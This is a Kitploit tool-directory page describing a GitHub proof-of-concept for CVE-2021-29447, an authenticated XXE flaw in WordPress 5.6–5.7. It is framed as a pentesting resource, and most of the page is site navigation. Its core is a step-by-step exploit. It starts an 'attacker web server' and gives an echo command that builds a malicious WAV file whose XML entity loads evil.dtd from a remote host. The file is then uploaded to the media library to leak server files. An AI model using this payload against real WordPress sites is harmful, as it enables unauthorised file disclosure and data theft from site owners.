Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-29447 — WordPress - Authenticated XXE (CVE-2021-29447) | Kitploit
Tools/GitHubGitHub/motikan2010/cve-2021-29447
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubmotikan2010/cve-2021-29447

CVE-2021-29447

WordPress - Authenticated XXE (CVE-2021-29447)

View Repository
43114 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WordPress 5.6-5.7 - Authenticated (Author+) XXE (CVE-2021-29447)

Using

Step1. Run WordPress

root@kitploit:~
$ make up-wp

Step2. Run Attacker web server

root@kitploit:~
$ make up-mal

Step3. Generate malicious WAV file

Without wavefile npm (Recommend)

root@kitploit:~
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

With wavefile npm

Download Tool
root@kitploit:~
$ make make-wav

Step4. Login to WordPress & Upload WAV file to New Media

Step5. decode

References

  • WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 Security Vulnerability